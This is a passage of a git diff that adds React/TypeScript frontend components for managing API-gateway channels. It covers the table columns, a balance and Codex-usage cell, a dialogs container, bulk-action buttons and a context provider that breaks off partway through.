+/**
+ * Balance cell component with click to update
+ */
+function BalanceCell({ channel }: { channel: Channel }) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isTagRow = isTagAggregateRow(channel)
+  const balance = channel.balance || 0
+  const usedQuota = channel.used_quota || 0
+  const [isUpdating, setIsUpdating] = useState(false)
+  const [codexUsageOpen, setCodexUsageOpen] = useState(false)
+  const [codexUsageResponse, setCodexUsageResponse] =
+    useState<CodexUsageDialogData | null>(null)
+  const currencyLabel = getCurrencyLabel()
+  const tokenSuffix = currencyLabel === 'Tokens' ? ' Tokens' : ''
+  const withSuffix = (value: string) =>
+    tokenSuffix && value !== '-' ? `${value}${tokenSuffix}` : value
+
+  const usedDisplay = withSuffix(formatQuotaValue(usedQuota))
+  const remainingDisplay = withSuffix(formatBalance(balance))
+
+  // Tag row: only show cumulative used quota
+  if (isTagRow) {
+    return (
+      <StatusBadge
+        label={`Used: ${usedDisplay}`}
+        variant='neutral'
+        size='sm'
+        copyable={false}
+      />
+    )
+  }
+
+  // Regular channel row: show used and remaining with click to update
+  const variant = getBalanceVariant(balance)
+
+  const handleClickUpdate = async () => {
+    if (isUpdating) return
+
+    setIsUpdating(true)
+    if (channel.type === 57) {
+      try {
+        const res = await getCodexUsage(channel.id)
+        if (!res.success) {
+          throw new Error(res.message || t('Failed to fetch usage'))
+        }
+        setCodexUsageResponse(res)
+        setCodexUsageOpen(true)
+      } catch (error) {
+        toast.error(
+          error instanceof Error ? error.message : t('Failed to fetch usage')
+        )
+      } finally {
+        setIsUpdating(false)
+      }
+      return
+    }
+
+    await handleUpdateChannelBalance(channel.id, queryClient)
+    setIsUpdating(false)
+  }
+
+  return (
+    <TooltipProvider>
+      <div className='flex items-center gap-1.5 text-xs font-medium'>
+        <span
+          className={cn(
+            'size-1.5 shrink-0 rounded-full',
+            dotColorMap[isUpdating ? 'neutral' : variant]
+          )}
+          aria-hidden='true'
+        />
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <span className='text-muted-foreground cursor-help'>
+              {usedDisplay}
+            </span>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>
+              {t('Used:')} {usedDisplay}
+            </p>
+          </TooltipContent>
+        </Tooltip>
+        <span className='text-muted-foreground/30'>·</span>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <span
+              className={cn(
+                'cursor-pointer transition-opacity hover:opacity-70',
+                channel.type === 57
+                  ? 'text-primary'
+                  : textColorMap[isUpdating ? 'neutral' : variant]
+              )}
+              onClick={handleClickUpdate}
+            >
+              {isUpdating
+                ? 'Updating...'
+                : channel.type === 57
+                  ? t('Account Info')
+                  : remainingDisplay}
+            </span>
+          </TooltipTrigger>
+          <TooltipContent>
+            <p>
+              {channel.type === 57
+                ? t('Click to view Codex usage')
+                : `${t('Remaining:')} ${remainingDisplay}`}
+            </p>
+            {channel.type !== 57 && <p>{t('Click to update balance')}</p>}
+          </TooltipContent>
+        </Tooltip>
+      </div>
+
+      <CodexUsageDialog
+        open={codexUsageOpen}
+        onOpenChange={setCodexUsageOpen}
+        channelName={channel.name}
+        channelId={channel.id}
+        response={codexUsageResponse}
+        onRefresh={async () => {
+          if (isUpdating) return
+          setIsUpdating(true)
+          try {
+            const res = await getCodexUsage(channel.id)
+            if (!res.success) {
+              throw new Error(res.message || t('Failed to fetch usage'))
+            }
+            setCodexUsageResponse(res)
+          } catch (error) {
+            toast.error(
+              error instanceof Error
+                ? error.message
+                : t('Failed to fetch usage')
+            )
+          } finally {
+            setIsUpdating(false)
+          }
+        }}
+        isRefreshing={isUpdating}
+      />
+    </TooltipProvider>
+  )
+}
+
+/**
+ * Generate channels columns configuration
+ */
+export function useChannelsColumns(): ColumnDef<Channel>[] {
+  const { t } = useTranslation()
+  return [
+    // Checkbox column
+    {
+      id: 'select',
+      header: ({ table }) => (
+        <Checkbox
+          checked={
+            table.getIsAllPageRowsSelected() ||
+            (table.getIsSomePageRowsSelected() && 'indeterminate')
+          }
+          onCheckedChange={(value) => table.toggleAllPageRowsSelected(!!value)}
+          aria-label='Select all'
+        />
+      ),
+      cell: ({ row }) => {
+        const isTagRow = isTagAggregateRow(row.original)
+
+        // Don't show checkbox for tag rows
+        if (isTagRow) {
+          return null
+        }
+
+        return (
+          <Checkbox
+            checked={row.getIsSelected()}
+            onCheckedChange={(value) => row.toggleSelected(!!value)}
+            aria-label='Select row'
+          />
+        )
+      },
+      enableSorting: false,
+      enableHiding: false,
+      size: 40,
+    },
+
+    // ID column
+    {
+      accessorKey: 'id',
+      meta: { label: t('ID'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title='ID' />
+      ),
+      cell: ({ row }) => {
+        const id = row.getValue('id') as number
+        return (
+          <StatusBadge
+            label={String(id)}
+            variant='neutral'
+            copyText={String(id)}
+            size='sm'
+            className='font-mono'
+          />
+        )
+      },
+      size: 80,
+    },
+
+    // Name column
+    {
+      accessorKey: 'name',
+      meta: { label: t('Name'), mobileTitle: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Name')} />
+      ),
+      cell: ({ row }) => {
+        const isTagRow = isTagAggregateRow(row.original)
+        const name = row.getValue('name') as string
+        const channel = row.original
+        const isMultiKey = isMultiKeyChannel(channel)
+
+        // Tag row with expand/collapse
+        if (isTagRow) {
+          const tag = (row.original as TagRow).tag || name
+          const childrenCount = (row.original as TagRow).children?.length || 0
+
+          return (
+            <div className='flex items-center gap-2'>
+              <Button
+                variant='ghost'
+                size='sm'
+                className='h-6 w-6 p-0'
+                onClick={row.getToggleExpandedHandler()}
+              >
+                {row.getIsExpanded() ? (
+                  <ChevronDown className='h-4 w-4' />
+                ) : (
+                  <ChevronRight className='h-4 w-4' />
+                )}
+              </Button>
+              <div className='flex items-center gap-1.5'>
+                <span className='font-semibold'>Tag：{tag}</span>
+                <StatusBadge
+                  label={`${childrenCount} channels`}
+                  variant='blue'
+                  size='sm'
+                  copyable={false}
+                />
+              </div>
+            </div>
+          )
+        }
+
+        // Regular channel row
+        const settings = parseChannelSettings(channel.setting)
+        const isPassThrough = settings.pass_through_body_enabled === true
+
+        return (
+          <div className='flex items-center gap-2'>
+            <div className='flex flex-col gap-1'>
+              <div className='flex items-center gap-1.5'>
+                <span className='font-medium'>{truncateText(name, 30)}</span>
+                {isPassThrough && (
+                  <TooltipProvider delayDuration={100}>
+                    <Tooltip>
+                      <TooltipTrigger asChild>
+                        <AlertTriangle className='h-3.5 w-3.5 flex-shrink-0 text-amber-500' />
+                      </TooltipTrigger>
+                      <TooltipContent side='top'>
+                        {t(
+                          'Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.'
+                        )}
+                      </TooltipContent>
+                    </Tooltip>
+                  </TooltipProvider>
+                )}
+                {isMultiKey && (
+                  <StatusBadge
+                    label={`${channel.channel_info.multi_key_size} keys`}
+                    variant='purple'
+                    size='sm'
+                    copyable={false}
+                  />
+                )}
+                <UpstreamUpdateTags channel={channel} />
+              </div>
+              {channel.remark && (
+                <TooltipProvider delayDuration={200}>
+                  <Tooltip>
+                    <TooltipTrigger asChild>
+                      <span className='text-muted-foreground text-xs'>
+                        {truncateText(channel.remark, 40)}
+                      </span>
+                    </TooltipTrigger>
+                    <TooltipContent side='bottom' className='max-w-xs'>
+                      {channel.remark}
+                    </TooltipContent>
+                  </Tooltip>
+                </TooltipProvider>
+              )}
+            </div>
+          </div>
+        )
+      },
+      minSize: 200,
+    },
+
+    // Type column
+    {
+      accessorKey: 'type',
+      meta: { label: t('Type') },
+      header: t('Type'),
+      cell: ({ row }) => {
+        const isTagRow = isTagAggregateRow(row.original)
+
+        if (isTagRow) {
+          return (
+            <StatusBadge
+              label={t('Tag Aggregate')}
+              variant='blue'
+              size='sm'
+              copyable={false}
+            />
+          )
+        }
+
+        const type = row.getValue('type') as number
+        const typeNameKey = getChannelTypeLabel(type)
+        const typeName = t(typeNameKey)
+        const iconName = getChannelTypeIcon(type)
+        const icon = getLobeIcon(`${iconName}.Color`, 20)
+        const channel = row.original as Channel
+        const isMultiKey = isMultiKeyChannel(channel)
+        const multiKeyMode = channel.channel_info?.multi_key_mode ?? 'random'
+        const MultiKeyModeIcon =
+          multiKeyMode === 'random' ? Shuffle : ListOrdered
+        const multiKeyTooltip =
+          multiKeyMode === 'random'
+            ? t('Multi-key: Random rotation')
+            : t('Multi-key: Polling rotation')
+
+        const ionetMeta = parseIonetMeta(channel.other_info)
+        const isIonet = ionetMeta?.source === 'ionet'
+        const deploymentId =
+          typeof ionetMeta?.deployment_id === 'string'
+            ? ionetMeta?.deployment_id
+            : undefined
+
+        return (
+          <div className='flex items-center gap-2'>
+            <div className='flex items-center gap-1.5'>
+              {isMultiKey && (
+                <TooltipProvider delayDuration={100}>
+                  <Tooltip>
+                    <TooltipTrigger asChild>
+                      <span className='border-border bg-muted text-primary inline-flex h-6 w-6 items-center justify-center rounded-full border'>
+                        <MultiKeyModeIcon className='h-3.5 w-3.5' />
+                      </span>
+                    </TooltipTrigger>
+                    <TooltipContent side='top'>
+                      {multiKeyTooltip}
+                    </TooltipContent>
+                  </Tooltip>
+                </TooltipProvider>
+              )}
+              {icon}
+            </div>
+            <StatusBadge
+              label={typeName}
+              autoColor={typeName}
+              size='sm'
+              copyable={false}
+            />
+            {isIonet && (
+              <TooltipProvider delayDuration={100}>
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <span
+                      className='flex cursor-pointer items-center gap-1.5 text-xs font-medium'
+                      onClick={(e) => {
+                        e.stopPropagation()
+                        if (!deploymentId) return
+                        const targetUrl = `/console/deployment?deployment_id=${deploymentId}`
+                        window.open(targetUrl, '_blank', 'noopener')
+                      }}
+                    >
+                      <span className='text-muted-foreground/30'>·</span>
+                      <span className={cn(textColorMap.purple)}>IO.NET</span>
+                    </span>
+                  </TooltipTrigger>
+                  <TooltipContent side='top'>
+                    <div className='max-w-xs space-y-1'>
+                      <div className='text-xs'>
+                        {t('From IO.NET deployment')}
+                      </div>
+                      {deploymentId && (
+                        <div className='text-muted-foreground font-mono text-xs'>
+                          {t('Deployment ID')}: {deploymentId}
+                        </div>
+                      )}
+                      <div className='text-muted-foreground text-xs'>
+                        {t('Click to open deployment')}
+                      </div>
+                    </div>
+                  </TooltipContent>
+                </Tooltip>
+              </TooltipProvider>
+            )}
+          </div>
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (!value || value.length === 0 || value.includes('all')) return true
+        return value.includes(String(row.getValue(id)))
+      },
+      size: 140,
+      enableSorting: false,
+    },
+
+    // Status column
+    {
+      accessorKey: 'status',
+      meta: { label: t('Status'), mobileBadge: true },
+      header: t('Status'),
+      cell: ({ row }) => {
+        const isTagRow = isTagAggregateRow(row.original)
+        const status = row.getValue('status') as number
+        const channel = row.original as Channel
+
+        // Tag row: show aggregated status
+        if (isTagRow) {
+          const childrenCount = (row.original as TagRow).children?.length || 0
+          const hasEnabled = status === 1
+
+          if (hasEnabled) {
+            return (
+              <StatusBadge
+                label={`Active (${childrenCount})`}
+                variant='success'
+                showDot
+                size='sm'
+                copyable={false}
+              />
+            )
+          } else {
+            return (
+              <StatusBadge
+                label={`Inactive (${childrenCount})`}
+                variant='neutral'
+                size='sm'
+                copyable={false}
+              />
+            )
+          }
+        }
+
+        // Regular channel row
+        const config =
+          CHANNEL_STATUS_CONFIG[status as keyof typeof CHANNEL_STATUS_CONFIG] ||
+          CHANNEL_STATUS_CONFIG[0]
+
+        const isMultiKey = isMultiKeyChannel(channel)
+        const keySize = channel.channel_info?.multi_key_size ?? 0
+        const disabledCount = channel.channel_info?.multi_key_status_list
+          ? Object.keys(channel.channel_info.multi_key_status_list).length
+          : 0
+        const enabledCount = Math.max(0, keySize - disabledCount)
+        const label =
+          isMultiKey && keySize > 0
+            ? `${t(config.label)} (${enabledCount}/${keySize})`
+            : t(config.label)
+
+        // Auto-disabled: show reason and time tooltip
+        if (status === 3) {
+          let statusReason = ''
+          let statusTime = ''
+          try {
+            const otherInfo = channel.other_info
+              ? JSON.parse(channel.other_info)
+              : null
+            if (otherInfo) {
+              statusReason = otherInfo.status_reason || ''
+              statusTime = otherInfo.status_time
+                ? formatTimestampToDate(otherInfo.status_time)
+                : ''
+            }
+          } catch {
+            /* empty */
+          }
+
+          if (statusReason || statusTime) {
+            return (
+              <TooltipProvider delayDuration={100}>
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <span>
+                      <StatusBadge
+                        label={label}
+                        variant={config.variant}
+                        showDot={config.showDot}
+                        size='sm'
+                        copyable={false}
+                      />
+                    </span>
+                  </TooltipTrigger>
+                  <TooltipContent side='top' className='max-w-xs'>
+                    <div className='space-y-1 text-xs'>
+                      {statusReason && (
+                        <div>
+                          {t('Reason:')} {statusReason}
+                        </div>
+                      )}
+                      {statusTime && (
+                        <div>
+                          {t('Time:')} {statusTime}
+                        </div>
+                      )}
+                    </div>
+                  </TooltipContent>
+                </Tooltip>
+              </TooltipProvider>
+            )
+          }
+        }
+
+        return (
+          <StatusBadge
+            label={label}
+            variant={config.variant}
+            showDot={config.showDot}
+            size='sm'
+            copyable={false}
+          />
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (!value || value.length === 0 || value.includes('all')) return true
+        const status = row.getValue(id) as number
+        if (value.includes('enabled')) return status === 1
+        if (value.includes('disabled')) return status !== 1
+        return false
+      },
+      size: 120,
+      enableSorting: false,
+    },
+
+    // Models column
+    {
+      accessorKey: 'models',
+      meta: { label: t('Models'), mobileHidden: true },
+      header: t('Models'),
+      cell: ({ row }) => {
+        const models = row.getValue('models') as string
+        const modelArray = parseModelsList(models)
+
+        if (modelArray.length === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const modelBadges = modelArray.map((model, idx) => (
+          <StatusBadge
+            key={idx}
+            label={model}
+            autoColor={model}
+            size='sm'
+            className='font-mono'
+          />
+        ))
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(modelBadges, 2)}</div>
+              </TooltipTrigger>
+              {modelArray.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{modelBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 200,
+      enableSorting: false,
+    },
+
+    // Group column
+    {
+      accessorKey: 'group',
+      meta: { label: t('Groups'), mobileHidden: true },
+      header: t('Groups'),
+      cell: ({ row }) => {
+        const group = row.getValue('group') as string
+        const groupArray = parseGroupsList(group)
+
+        const groupBadges = groupArray.map((g, idx) => (
+          <StatusBadge key={idx} label={g} autoColor={g} size='sm' />
+        ))
+
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <div>{renderLimitedItems(groupBadges, 2)}</div>
+              </TooltipTrigger>
+              {groupArray.length > 2 && (
+                <TooltipContent
+                  side='top'
+                  className='border-border bg-popover max-h-48 max-w-[320px] overflow-y-auto p-2'
+                >
+                  <div className='flex flex-wrap gap-1'>{groupBadges}</div>
+                </TooltipContent>
+              )}
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      filterFn: (row, id, value) => {
+        if (!value || value.length === 0 || value.includes('all')) return true
+        const group = row.getValue(id) as string
+        const groupArray = parseGroupsList(group)
+        return groupArray.some((g) => value.includes(g))
+      },
+      size: 150,
+      enableSorting: false,
+    },
+
+    // Tag column
+    {
+      accessorKey: 'tag',
+      meta: { label: t('Tag'), mobileHidden: true },
+      header: t('Tag'),
+      cell: ({ row }) => {
+        const tag = row.getValue('tag') as string | null
+        if (!tag)
+          return <span className='text-muted-foreground text-xs'>-</span>
+
+        return <StatusBadge label={tag} autoColor={tag} size='sm' />
+      },
+      size: 120,
+      enableSorting: false,
+    },
+
+    // Priority column
+    {
+      accessorKey: 'priority',
+      meta: { label: t('Priority'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Priority')} />
+      ),
+      cell: ({ row }) => <PriorityCell channel={row.original} />,
+      size: 100,
+    },
+
+    // Weight column
+    {
+      accessorKey: 'weight',
+      meta: { label: t('Weight'), mobileHidden: true },
+      header: t('Weight'),
+      cell: ({ row }) => <WeightCell channel={row.original} />,
+      size: 90,
+      enableSorting: false,
+    },
+
+    // Balance column (Used/Remaining)
+    {
+      accessorKey: 'balance',
+      meta: { label: t('Used / Remaining') },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Used / Remaining')} />
+      ),
+      cell: ({ row }) => <BalanceCell channel={row.original} />,
+      size: 180,
+    },
+
+    // Response Time column
+    {
+      accessorKey: 'response_time',
+      meta: { label: t('Response'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Response')} />
+      ),
+      cell: ({ row }) => {
+        const responseTime = row.getValue('response_time') as number
+        const config = getResponseTimeConfig(responseTime)
+
+        return (
+          <StatusBadge
+            label={formatResponseTime(responseTime, t)}
+            variant={config.variant}
+            size='sm'
+            copyable={false}
+          />
+        )
+      },
+      size: 110,
+    },
+
+    // Test Time column
+    {
+      accessorKey: 'test_time',
+      meta: { label: t('Last Tested'), mobileHidden: true },
+      header: ({ column }) => (
+        <DataTableColumnHeader column={column} title={t('Last Tested')} />
+      ),
+      cell: ({ row }) => {
+        const testTime = row.getValue('test_time') as number
+
+        // For invalid timestamps, show "Never" badge
+        if (!testTime || testTime === 0) {
+          return <span className='text-muted-foreground text-xs'>-</span>
+        }
+
+        const timeText = formatRelativeTime(testTime)
+        const fullDate = formatTimestampToDate(testTime)
+
+        // For valid timestamps, show tooltip with full date
+        return (
+          <TooltipProvider>
+            <Tooltip>
+              <TooltipTrigger asChild>
+                <span className='text-muted-foreground cursor-pointer font-mono text-sm'>
+                  {timeText}
+                </span>
+              </TooltipTrigger>
+              <TooltipContent side='top'>
+                <p className='font-mono text-sm'>{fullDate}</p>
+              </TooltipContent>
+            </Tooltip>
+          </TooltipProvider>
+        )
+      },
+      size: 120,
+      enableSorting: false,
+    },
+
+    // Actions column
+    {
+      id: 'actions',
+      cell: ({ row }) => {
+        // Check if this is a tag row (has children)
+        const isTagRow = isTagAggregateRow(row.original)
+
+        if (isTagRow) {
+          return (
+            <DataTableTagRowActions
+              // eslint-disable-next-line @typescript-eslint/no-explicit-any
+              row={row as any}
+            />
+          )
+        }
+
+        return <DataTableRowActions row={row} />
+      },
+      size: 100,
+      enableSorting: false,
+      enableHiding: false,
+    },
+  ]
+}
diff --git a/new-api/web/default/src/features/channels/components/channels-dialogs.tsx b/new-api/web/default/src/features/channels/components/channels-dialogs.tsx
new file mode 100644
index 0000000..4bc66ef
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/channels-dialogs.tsx
@@ -0,0 +1,85 @@
+import { useChannels } from './channels-provider'
+import { BalanceQueryDialog } from './dialogs/balance-query-dialog'
+import { ChannelTestDialog } from './dialogs/channel-test-dialog'
+import { CopyChannelDialog } from './dialogs/copy-channel-dialog'
+import { EditTagDialog } from './dialogs/edit-tag-dialog'
+import { FetchModelsDialog } from './dialogs/fetch-models-dialog'
+import { MultiKeyManageDialog } from './dialogs/multi-key-manage-dialog'
+import { OllamaModelsDialog } from './dialogs/ollama-models-dialog'
+import { TagBatchEditDialog } from './dialogs/tag-batch-edit-dialog'
+import { UpstreamUpdateDialog } from './dialogs/upstream-update-dialog'
+import { ChannelMutateDrawer } from './drawers/channel-mutate-drawer'
+
+export function ChannelsDialogs() {
+  const { open, setOpen, currentRow, upstream } = useChannels()
+
+  return (
+    <>
+      {/* Channel Create/Update Drawer */}
+      <ChannelMutateDrawer
+        open={open === 'create-channel' || open === 'update-channel'}
+        onOpenChange={(v) => !v && setOpen(null)}
+        currentRow={open === 'update-channel' ? currentRow : null}
+      />
+
+      {/* Test Channel Dialog */}
+      <ChannelTestDialog
+        open={open === 'test-channel'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Balance Query Dialog */}
+      <BalanceQueryDialog
+        open={open === 'balance-query'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Fetch Models Dialog */}
+      <FetchModelsDialog
+        open={open === 'fetch-models'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Ollama Models Dialog */}
+      <OllamaModelsDialog
+        open={open === 'ollama-models'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Copy Channel Dialog */}
+      <CopyChannelDialog
+        open={open === 'copy-channel'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Multi-Key Management Dialog */}
+      <MultiKeyManageDialog
+        open={open === 'multi-key-manage'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Tag Batch Edit Dialog */}
+      <TagBatchEditDialog
+        open={open === 'tag-batch-edit'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Edit Tag Dialog */}
+      <EditTagDialog
+        open={open === 'edit-tag'}
+        onOpenChange={(v) => !v && setOpen(null)}
+      />
+
+      {/* Upstream Model Update Dialog */}
+      <UpstreamUpdateDialog
+        open={upstream.showModal}
+        addModels={upstream.addModels}
+        removeModels={upstream.removeModels}
+        preferredTab={upstream.preferredTab}
+        confirmLoading={upstream.applyLoading}
+        onConfirm={upstream.applyUpdates}
+        onCancel={upstream.closeModal}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/channels-primary-buttons.tsx b/new-api/web/default/src/features/channels/components/channels-primary-buttons.tsx
new file mode 100644
index 0000000..f80e6ba
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/channels-primary-buttons.tsx
@@ -0,0 +1,218 @@
+import { useState } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import {
+  Plus,
+  MoreHorizontal,
+  Settings2,
+  Trash2,
+  Tags,
+  TestTube,
+  DollarSign,
+  SortAsc,
+  RefreshCw,
+  ArrowUpFromLine,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuCheckboxItem,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { Label } from '@/components/ui/label'
+import { Switch } from '@/components/ui/switch'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import {
+  handleDeleteAllDisabled,
+  handleFixAbilities,
+  handleTestAllChannels,
+  handleUpdateAllBalances,
+} from '../lib'
+import { useChannels } from './channels-provider'
+
+export function ChannelsPrimaryButtons() {
+  const { t } = useTranslation()
+  const {
+    setOpen,
+    enableTagMode,
+    setEnableTagMode,
+    idSort,
+    setIdSort,
+    upstream,
+  } = useChannels()
+  const queryClient = useQueryClient()
+  const [showDeleteDialog, setShowDeleteDialog] = useState(false)
+
+  const handleTagModeToggle = (checked: boolean) => {
+    localStorage.setItem('enable-tag-mode', String(checked))
+    setEnableTagMode(checked)
+  }
+
+  const handleIdSortToggle = (checked: boolean) => {
+    localStorage.setItem('channels-id-sort', String(checked))
+    setIdSort(checked)
+  }
+
+  return (
+    <>
+      <div className='flex items-center gap-2'>
+        {/* Desktop: Toggle switches visible */}
+        <div className='hidden items-center gap-2 rounded-md border px-3 py-1.5 sm:flex'>
+          <Tags className='text-muted-foreground h-4 w-4' />
+          <Label htmlFor='tag-mode' className='cursor-pointer text-sm'>
+            {t('Tag Mode')}
+          </Label>
+          <Switch
+            id='tag-mode'
+            checked={enableTagMode}
+            onCheckedChange={handleTagModeToggle}
+          />
+        </div>
+
+        <div className='hidden items-center gap-2 rounded-md border px-3 py-1.5 sm:flex'>
+          <SortAsc className='text-muted-foreground h-4 w-4' />
+          <Label htmlFor='id-sort' className='cursor-pointer text-sm'>
+            {t('Sort by ID')}
+          </Label>
+          <Switch
+            id='id-sort'
+            checked={idSort}
+            onCheckedChange={handleIdSortToggle}
+          />
+        </div>
+
+        {/* Create Channel */}
+        <Button onClick={() => setOpen('create-channel')} size='sm'>
+          <Plus className='h-4 w-4' />
+          <span className='max-sm:hidden'>{t('Create Channel')}</span>
+          <span className='sm:hidden'>{t('Create')}</span>
+        </Button>
+
+        {/* More Actions */}
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <Button variant='outline' size='sm'>
+              <MoreHorizontal className='h-4 w-4' />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align='end' className='w-56'>
+            {/* Mobile-only: toggle switches */}
+            <DropdownMenuCheckboxItem
+              className='sm:hidden'
+              checked={enableTagMode}
+              onCheckedChange={handleTagModeToggle}
+            >
+              <Tags className='mr-2 h-4 w-4' />
+              {t('Tag Mode')}
+            </DropdownMenuCheckboxItem>
+
+            <DropdownMenuCheckboxItem
+              className='sm:hidden'
+              checked={idSort}
+              onCheckedChange={handleIdSortToggle}
+            >
+              <SortAsc className='mr-2 h-4 w-4' />
+              {t('Sort by ID')}
+            </DropdownMenuCheckboxItem>
+
+            <DropdownMenuSeparator className='sm:hidden' />
+
+            <DropdownMenuItem
+              onClick={() => {
+                handleTestAllChannels(queryClient)
+              }}
+            >
+              {t('Test All Channels')}
+              <DropdownMenuShortcut>
+                <TestTube className='h-4 w-4' />
+              </DropdownMenuShortcut>
+            </DropdownMenuItem>
+
+            <DropdownMenuItem
+              onClick={() => {
+                handleUpdateAllBalances(queryClient)
+              }}
+            >
+              {t('Update All Balances')}
+              <DropdownMenuShortcut>
+                <DollarSign className='h-4 w-4' />
+              </DropdownMenuShortcut>
+            </DropdownMenuItem>
+
+            <DropdownMenuSeparator />
+
+            <DropdownMenuItem
+              onClick={() => upstream.detectAllUpdates()}
+              disabled={upstream.detectAllLoading}
+            >
+              {t('Detect All Upstream Updates')}
+              <DropdownMenuShortcut>
+                <RefreshCw className='h-4 w-4' />
+              </DropdownMenuShortcut>
+            </DropdownMenuItem>
+
+            <DropdownMenuItem
+              onClick={() => upstream.applyAllUpdates()}
+              disabled={upstream.applyAllLoading}
+            >
+              {t('Apply All Upstream Updates')}
+              <DropdownMenuShortcut>
+                <ArrowUpFromLine className='h-4 w-4' />
+              </DropdownMenuShortcut>
+            </DropdownMenuItem>
+
+            <DropdownMenuSeparator />
+
+            <DropdownMenuItem
+              onClick={() => {
+                handleFixAbilities(queryClient, (_result) => {
+                  // eslint-disable-next-line no-console
+                  console.log('Fix abilities result:', _result)
+                })
+              }}
+            >
+              {t('Fix Abilities')}
+              <DropdownMenuShortcut>
+                <Settings2 className='h-4 w-4' />
+              </DropdownMenuShortcut>
+            </DropdownMenuItem>
+
+            <DropdownMenuSeparator />
+
+            <DropdownMenuItem
+              onSelect={(e) => {
+                e.preventDefault()
+                setShowDeleteDialog(true)
+              }}
+              className='text-destructive focus:text-destructive'
+            >
+              {t('Delete All Disabled')}
+              <DropdownMenuShortcut>
+                <Trash2 className='h-4 w-4' />
+              </DropdownMenuShortcut>
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      </div>
+
+      <ConfirmDialog
+        open={showDeleteDialog}
+        onOpenChange={setShowDeleteDialog}
+        title={t('Delete All Disabled Channels?')}
+        desc='This will permanently delete all manually and automatically disabled channels. This action cannot be undone.'
+        destructive
+        handleConfirm={() => {
+          handleDeleteAllDisabled(queryClient, (_count) => {
+            // eslint-disable-next-line no-console
+            console.log(`Deleted ${_count} channels`)
+          })
+          setShowDeleteDialog(false)
+        }}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/channels/components/channels-provider.tsx b/new-api/web/default/src/features/channels/components/channels-provider.tsx
new file mode 100644
index 0000000..d87e8e4
--- /dev/null
+++ b/new-api/web/default/src/features/channels/components/channels-provider.tsx
@@ -0,0 +1,101 @@
+/* eslint-disable react-refresh/only-export-components */
+import React, { createContext, useContext, useState, useCallback } from 'react'
+import { useQueryClient } from '@tanstack/react-query'
+import { useChannelUpstreamUpdates } from '../hooks/use-channel-upstream-updates'
+import { channelsQueryKeys } from '../lib'
+import type { Channel } from '../types'
+
+// ============================================================================
+// Types
+// ============================================================================
+
+type DialogType =
+  | 'create-channel'
+  | 'update-channel'
+  | 'test-channel'
+  | 'balance-query'
+  | 'fetch-models'
+  | 'ollama-models'
+  | 'multi-key-manage'
+  | 'tag-batch-edit'
+  | 'edit-tag'
+  | 'copy-channel'
+  | null
+
+type UpstreamUpdateState = ReturnType<typeof useChannelUpstreamUpdates>
+
+type ChannelsContextType = {
+  open: DialogType
+  setOpen: (open: DialogType) => void
+  currentRow: Channel | null
+  setCurrentRow: (row: Channel | null) => void
+  currentTag: string | null
+  setCurrentTag: (tag: string | null) => void
+  enableTagMode: boolean
+  setEnableTagMode: (enabled: boolean) => void
+  idSort: boolean
+  setIdSort: (enabled: boolean) => void
+  upstream: UpstreamUpdateState
+}
+
+// ============================================================================
+// Context
+// ============================================================================
+
+const ChannelsContext = createContext<ChannelsContextType | undefined>(
+  undefined
+)
+
+// ============================================================================
+// Provider
+// ============================================================================
+
+export function ChannelsProvider({ children }: { children: React.ReactNode }) {
+  const [open, setOpen] = useState<DialogType>(null)
+  const [currentRow, setCurrentRow] = useState<Channel | null>(null)
+  const [currentTag, setCurrentTag] = useState<string | null>(null)
+  const [enableTagMode, setEnableTagMode] = useState(() => {
+    return localStorage.getItem('enable-tag-mode') === 'true'
+  })
+  const [idSort, setIdSort] = useState(() => {
+    return localStorage.getItem('channels-id-sort') === 'true'
+  })
+
+  const queryClient = useQueryClient()
+  const refreshChannels = useCallback(async () => {
+    await queryClient.invalidateQueries({ queryKey: channelsQueryKeys.all })
+  }, [queryClient])
